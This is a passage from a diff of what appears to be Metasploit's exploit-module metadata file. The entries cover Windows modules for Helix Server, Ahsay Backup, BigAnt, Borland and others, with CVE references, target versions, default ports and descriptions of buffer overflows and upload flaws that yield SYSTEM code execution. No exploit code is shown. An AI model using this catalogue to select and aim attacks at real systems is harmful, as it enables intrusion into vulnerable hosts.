code, potentially with SYSTEM privileges.\n\n This module was tested successfully against master.exe as included with Real\n Network\\'s Helix Server v12. When installed as a service with Helix Server,\n the service runs as SYSTEM, has no recovery action, but will start automatically\n on boot.\n\n This module does not work with NX/XD enabled but could be modified easily to\n do so. The address", "references": [ "CVE-2010-1318", "OSVDB-63919", @@ -184461,16 +189392,12 @@ "platform": "Windows", "arch": "", "rport": 705, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Helix Server v12 and v13 - master.exe" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/agentxpp_receive_agentx.rb", "is_install_path": true, "ref_name": "windows/misc/agentxpp_receive_agentx", @@ -184478,6 +189405,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184485,16 +189421,14 @@ "exploit_windows/misc/ahsay_backup_fileupload": { "name": "Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload", "fullname": "exploit/windows/misc/ahsay_backup_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-01", "type": "exploit", "author": [ "Wietse Boonstra" ], - "description": "This module exploits an authenticated insecure file upload and code\n execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute\n the upload credentials are needed, default on Ahsay Backup trial\n accounts are enabled so an account can be created.\n\n It can be exploited in Windows and Linux environments to get remote code\n execution (usualy as SYSTEM). This module has been tested successfully\n on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this\n flaw all connected clients can be configured to execute a command before\n the backup starts. Allowing an attacker to takeover even more systems\n and make it rain shells!\n\n Setting the CREATEACCOUNT to true will create a new account, this is\n enabled by default.\n If credeantials are known enter these and run the exploit.", + "description": "This module exploits an authenticated insecure file upload and code\n execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute\n the upload credentials are needed, default on Ahsay Backup trial\n accounts are enabled so an account can be created.\n\n It can be exploited in Windows and Linux environments to get remote code\n execution (usualy as SYSTEM). This module has been tested successfully\n on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this\n flaw all connected clients can be configured to execute a command before\n the backup starts. Allowing an attacker to takeover even more systems\n and make it rain shells!\n\n Setting the CREATEACCOUNT to true will create a new account, this is\n enabled by default.\n If credeantials are known enter these and run the exploit.", "references": [ "CVE-2019-10267", "URL-https://www.wbsec.nl/ahsay/", @@ -184522,7 +189456,7 @@ "Windows x86", "Linux x86" ], - "mod_time": "2020-12-23 11:36:38 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ahsay_backup_fileupload.rb", "is_install_path": true, "ref_name": "windows/misc/ahsay_backup_fileupload", @@ -184530,6 +189464,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -184537,9 +189480,7 @@ "exploit_windows/misc/ais_esel_server_rce": { "name": "AIS logistics ESEL-Server Unauth SQL Injection RCE", "fullname": "exploit/windows/misc/ais_esel_server_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-27", "type": "exploit", @@ -184553,16 +189494,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": 5099, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-06-10 11:44:55 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/ais_esel_server_rce.rb", "is_install_path": true, "ref_name": "windows/misc/ais_esel_server_rce", @@ -184570,6 +189507,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184577,9 +189523,7 @@ "exploit_windows/misc/allmediaserver_bof": { "name": "ALLMediaServer 0.8 Buffer Overflow", "fullname": "exploit/windows/misc/allmediaserver_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-04", "type": "exploit", @@ -184588,7 +189532,7 @@ "modpr0be ", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability\n is caused due to a boundary error within the handling of HTTP request.\n\n While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't\n reliable across virtual (VMWare, VirtualBox) and physical environments. Because of\n this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default\n DEP is OptIn and AllMediaServer won't run with DEP.", + "description": "This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability\n is caused due to a boundary error within the handling of HTTP request.\n\n While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't\n reliable across virtual (VMWare, VirtualBox) and physical environments. Because of\n this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default\n DEP is OptIn and AllMediaServer won't run with DEP.", "references": [ "CVE-2017-17932", "OSVDB-83889", @@ -184597,17 +189541,13 @@ "platform": "Windows", "arch": "", "rport": 888, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ALLMediaServer 0.8 / Windows XP SP3 - English", "ALLMediaServer 0.8 / Windows 7 SP1 - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/allmediaserver_bof.rb", "is_install_path": true, "ref_name": "windows/misc/allmediaserver_bof", @@ -184615,6 +189555,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184622,9 +189571,7 @@ "exploit_windows/misc/altiris_ds_sqli": { "name": "Symantec Altiris DS SQL Injection", "fullname": "exploit/windows/misc/altiris_ds_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-05-15", "type": "exploit", @@ -184642,16 +189589,12 @@ "platform": "Windows", "arch": "", "rport": 402, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 (with tftp client available)" ], - "mod_time": "2022-06-29 19:10:52 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb", "is_install_path": true, "ref_name": "windows/misc/altiris_ds_sqli", @@ -184659,6 +189602,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -184666,16 +189618,14 @@ "exploit_windows/misc/apple_quicktime_rtsp_response": { "name": "Apple QuickTime 7.3 RTSP Response Header Buffer Overflow", "fullname": "exploit/windows/misc/apple_quicktime_rtsp_response", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long\n RTSP response to a client, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long\n RTSP response to a client, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-6166", "OSVDB-40876", @@ -184685,16 +189635,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "QuickTime 7.3, QuickTime Player 7.3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb", "is_install_path": true, "ref_name": "windows/misc/apple_quicktime_rtsp_response", @@ -184702,6 +189648,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184709,9 +189664,7 @@ "exploit_windows/misc/asus_dpcproxy_overflow": { "name": "Asus Dpcproxy Buffer Overflow", "fullname": "exploit/windows/misc/asus_dpcproxy_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-03-21", "type": "exploit", @@ -184727,16 +189680,12 @@ "platform": "Windows", "arch": "", "rport": 623, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Asus Dpcroxy version 2.00.19 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb", "is_install_path": true, "ref_name": "windows/misc/asus_dpcproxy_overflow", @@ -184744,6 +189693,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184751,9 +189709,7 @@ "exploit_windows/misc/avaya_winpmd_unihostrouter": { "name": "Avaya WinPMD UniteHostRouter Buffer Overflow", "fullname": "exploit/windows/misc/avaya_winpmd_unihostrouter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-23", "type": "exploit", @@ -184762,7 +189718,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability\n exists in the UniteHostRouter service, due to the insecure usage of memcpy when\n parsing specially crafted \"To:\" headers. The module has been tested successfully on\n Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.", + "description": "This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability\n exists in the UniteHostRouter service, due to the insecure usage of memcpy when\n parsing specially crafted \"To:\" headers. The module has been tested successfully on\n Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.", "references": [ "OSVDB-82764", "OSVDB-73269", @@ -184774,17 +189730,13 @@ "platform": "Windows", "arch": "", "rport": 3217, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Avaya WinPMD 3.8.2 / Windows XP SP3", "Avaya WinPMD 3.8.2 / Windows 2003 SP2" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb", "is_install_path": true, "ref_name": "windows/misc/avaya_winpmd_unihostrouter", @@ -184792,6 +189744,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184799,16 +189760,14 @@ "exploit_windows/misc/avidphoneticindexer": { "name": "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow", "fullname": "exploit/windows/misc/avidphoneticindexer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-29", "type": "exploit", "author": [ "vt [nick.freeman " ], - "description": "This module exploits a stack buffer overflow in process\n AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer\n 5.5 Editing Suite. This daemon sometimes starts on a different port; if you start\n it standalone it will run on port 4660.", + "description": "This module exploits a stack buffer overflow in process\n AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer\n 5.5 Editing Suite. This daemon sometimes starts on a different port; if you start\n it standalone it will run on port 4660.", "references": [ "CVE-2011-5003", "OSVDB-77376", @@ -184817,16 +189776,12 @@ "platform": "Windows", "arch": "", "rport": 4659, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Professional SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/avidphoneticindexer.rb", "is_install_path": true, "ref_name": "windows/misc/avidphoneticindexer", @@ -184834,6 +189789,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184841,9 +189805,7 @@ "exploit_windows/misc/bakbone_netvault_heap": { "name": "BakBone NetVault Remote Heap Overflow", "fullname": "exploit/windows/misc/bakbone_netvault_heap", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-04-01", "type": "exploit", @@ -184851,7 +189813,7 @@ "hdm ", "nolimit.bugtraq " ], - "description": "This module exploits a heap overflow in the BakBone NetVault\n Process Manager service. This code is a direct port of the netvault.c\n code written by nolimit and BuzzDee.", + "description": "This module exploits a heap overflow in the BakBone NetVault\n Process Manager service. This code is a direct port of the netvault.c\n code written by nolimit and BuzzDee.", "references": [ "CVE-2005-1009", "OSVDB-15234", @@ -184860,18 +189822,14 @@ "platform": "Windows", "arch": "", "rport": 20031, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", "Windows XP SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bakbone_netvault_heap.rb", "is_install_path": true, "ref_name": "windows/misc/bakbone_netvault_heap", @@ -184879,6 +189837,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184886,9 +189853,7 @@ "exploit_windows/misc/bcaaa_bof": { "name": "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow", "fullname": "exploit/windows/misc/bcaaa_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-04", "type": "exploit", @@ -184897,7 +189862,7 @@ "Travis Warren", "sinn3r " ], - "description": "This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),\n which comes as part of the Blue Coat Authentication proxy. Please note that by default,\n this exploit will attempt up to three times in order to successfully gain remote code\n execution (in some cases, it takes as many as five times). This can cause your activity\n to look even more suspicious. To modify the number of exploit attempts, set the\n ATTEMPTS option.", + "description": "This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),\n which comes as part of the Blue Coat Authentication proxy. Please note that by default,\n this exploit will attempt up to three times in order to successfully gain remote code\n execution (in some cases, it takes as many as five times). This can cause your activity\n to look even more suspicious. To modify the number of exploit attempts, set the\n ATTEMPTS option.", "references": [ "CVE-2011-5124", "OSVDB-72095", @@ -184907,16 +189872,12 @@ "platform": "Windows", "arch": "", "rport": 16102, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BCAAA Version 5.4.6.1.54128" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bcaaa_bof.rb", "is_install_path": true, "ref_name": "windows/misc/bcaaa_bof", @@ -184924,6 +189885,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184931,16 +189901,14 @@ "exploit_windows/misc/bigant_server": { "name": "BigAnt Server 2.2 Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-04-15", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in BigAnt Server 2.2.\n By sending a specially crafted packet, an attacker may be\n able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in BigAnt Server 2.2.\n By sending a specially crafted packet, an attacker may be\n able to execute arbitrary code.", "references": [ "CVE-2008-1914", "OSVDB-44454", @@ -184949,17 +189917,13 @@ "platform": "Windows", "arch": "", "rport": 6080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro All English", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bigant_server.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server", @@ -184967,6 +189931,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -184974,16 +189947,14 @@ "exploit_windows/misc/bigant_server_250": { "name": "BigAnt Server 2.50 SP1 Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_250", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-04-15", "type": "exploit", "author": [ "Dr_IDE " ], - "description": "This exploits a stack buffer overflow in the BigAnt Messaging Service,\n part of the BigAnt Server product suite. This module was tested\n successfully against version 2.50 SP1.", + "description": "This exploits a stack buffer overflow in the BigAnt Messaging Service,\n part of the BigAnt Server product suite. This module was tested\n successfully against version 2.50 SP1.", "references": [ "CVE-2008-1914", "OSVDB-44454", @@ -184993,18 +189964,14 @@ "platform": "Windows", "arch": "", "rport": 6660, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt 2.5 Universal", "Windows 2000 Pro All English", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bigant_server_250.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server_250", @@ -185012,6 +189979,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185019,9 +189995,7 @@ "exploit_windows/misc/bigant_server_dupf_upload": { "name": "BigAnt Server DUPF Command Arbitrary File Upload", "fullname": "exploit/windows/misc/bigant_server_dupf_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-09", "type": "exploit", @@ -185029,7 +190003,7 @@ "Hamburgers Maccoy", "juan vazquez " ], - "description": "This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.\n A lack of authentication allows to make unauthenticated file uploads through a DUPF\n command. Additionally the filename option in the same command can be used to launch\n a directory traversal attack and achieve arbitrary file upload.\n\n The module uses the Windows Management Instrumentation service to execute an\n arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It\n has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003\n SP2.", + "description": "This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.\n A lack of authentication allows to make unauthenticated file uploads through a DUPF\n command. Additionally the filename option in the same command can be used to launch\n a directory traversal attack and achieve arbitrary file upload.\n\n The module uses the Windows Management Instrumentation service to execute an\n arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It\n has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003\n SP2.", "references": [ "CVE-2012-6274", "US-CERT-VU-990652", @@ -185039,16 +190013,12 @@ "platform": "Windows", "arch": "", "rport": 6661, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt Server 2.97 SP7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bigant_server_dupf_upload.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server_dupf_upload", @@ -185056,6 +190026,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -185063,9 +190042,7 @@ "exploit_windows/misc/bigant_server_sch_dupf_bof": { "name": "BigAnt Server 2 SCH And DUPF Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_sch_dupf_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-09", "type": "exploit", @@ -185073,7 +190050,7 @@ "Hamburgers Maccoy", "juan vazquez " ], - "description": "This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The\n vulnerability is due to the dangerous usage of strcpy while handling errors. This\n module uses a combination of SCH and DUPF request to trigger the vulnerability, and\n has been tested successfully against version 2.97 SP7 over Windows XP SP3 and\n Windows 2003 SP2.", + "description": "This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The\n vulnerability is due to the dangerous usage of strcpy while handling errors. This\n module uses a combination of SCH and DUPF request to trigger the vulnerability, and\n has been tested successfully against version 2.97 SP7 over Windows XP SP3 and\n Windows 2003 SP2.", "references": [ "CVE-2012-6275", "US-CERT-VU-990652", @@ -185083,17 +190060,13 @@ "platform": "Windows", "arch": "", "rport": 6661, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt Server 2.97 SP7 / Windows XP SP3", "BigAnt Server 2.97 SP7 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server_sch_dupf_bof", @@ -185101,6 +190074,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185108,9 +190090,7 @@ "exploit_windows/misc/bigant_server_usv": { "name": "BigAnt Server 2.52 USV Buffer Overflow", "fullname": "exploit/windows/misc/bigant_server_usv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-29", "type": "exploit", @@ -185119,7 +190099,7 @@ "DouBle_Zer0", "jduck " ], - "description": "This exploits a stack buffer overflow in the BigAnt Messaging Service,\n part of the BigAnt Server product suite. This module was tested\n successfully against version 2.52.\n\n NOTE: The AntServer service does not restart, you only get one shot.", + "description": "This exploits a stack buffer overflow in the BigAnt Messaging Service,\n part of the BigAnt Server product suite. This module was tested\n successfully against version 2.52.\n\n NOTE: The AntServer service does not restart, you only get one shot.", "references": [ "CVE-2009-4660", "OSVDB-61386", @@ -185129,16 +190109,12 @@ "platform": "Windows", "arch": "", "rport": 6660, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BigAnt 2.52 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bigant_server_usv.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server_usv", @@ -185146,6 +190122,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185153,16 +190138,14 @@ "exploit_windows/misc/bomberclone_overflow": { "name": "Bomberclone 0.11.6 Buffer Overflow", "fullname": "exploit/windows/misc/bomberclone_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-02-16", "type": "exploit", "author": [ "Jacopo Cervini " ], - "description": "This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.\n The return address is overwritten with lstrcpyA memory address,\n the second and third value are the destination buffer,\n the fourth value is the source address of our buffer in the stack.\n This exploit is like a return in libc.\n\n ATTENTION\n The shellcode is exec ONLY when someone try to close bomberclone.", + "description": "This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.\n The return address is overwritten with lstrcpyA memory address,\n the second and third value are the destination buffer,\n the fourth value is the source address of our buffer in the stack.\n This exploit is like a return in libc.\n\n ATTENTION\n The shellcode is exec ONLY when someone try to close bomberclone.", "references": [ "CVE-2006-0460", "OSVDB-23263", @@ -185171,19 +190154,15 @@ "platform": "Windows", "arch": "", "rport": 11000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP2 Italian", "Windows 2000 SP1 English", "Windows 2000 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bomberclone_overflow.rb", "is_install_path": true, "ref_name": "windows/misc/bomberclone_overflow", @@ -185191,6 +190170,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185198,9 +190186,7 @@ "exploit_windows/misc/bopup_comm": { "name": "Bopup Communications Server Buffer Overflow", "fullname": "exploit/windows/misc/bopup_comm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-06-18", "type": "exploit", @@ -185217,16 +190203,12 @@ "platform": "Windows", "arch": "", "rport": 19810, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Bopup Communications Server 3.2.26.5460" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/bopup_comm.rb", "is_install_path": true, "ref_name": "windows/misc/bopup_comm", @@ -185234,6 +190216,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185241,16 +190232,14 @@ "exploit_windows/misc/borland_interbase": { "name": "Borland Interbase Create-Request Buffer Overflow", "fullname": "exploit/windows/misc/borland_interbase", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-24", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Borland Interbase 2007.\n By sending a specially crafted create-request packet, a remote\n attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Borland Interbase 2007.\n By sending a specially crafted create-request packet, a remote\n attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-3566", "OSVDB-38602", @@ -185259,16 +190248,12 @@ "platform": "Windows", "arch": "", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English All / Borland InterBase 2007" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/borland_interbase.rb", "is_install_path": true, "ref_name": "windows/misc/borland_interbase", @@ -185276,6 +190261,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185283,16 +190277,14 @@ "exploit_windows/misc/borland_starteam": { "name": "Borland CaliberRM StarTeam Multicast Service Buffer Overflow", "fullname": "exploit/windows/misc/borland_starteam", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-04-02", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending\n a specially crafted GET request to the STMulticastService, an attacker may be\n able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending\n a specially crafted GET request to the STMulticastService, an attacker may be\n able to execute arbitrary code.", "references": [ "CVE-2008-0311", "OSVDB-44039", @@ -185320,7 +190312,7 @@ "Windows 2000 SP4 English", "Windows 2003 SP0 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/misc/borland_starteam.rb", "is_install_path": true, "ref_name": "windows/misc/borland_starteam", @@ -185328,6 +190320,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -185335,16 +190336,14 @@ "exploit_windows/misc/citrix_streamprocess": { "name": "Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow", "fullname": "exploit/windows/misc/citrix_streamprocess", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-01-20", "type": "exploit", "author": [ "mog" ], - "description": "This module exploits a stack buffer overflow in Citrix Provisioning Services 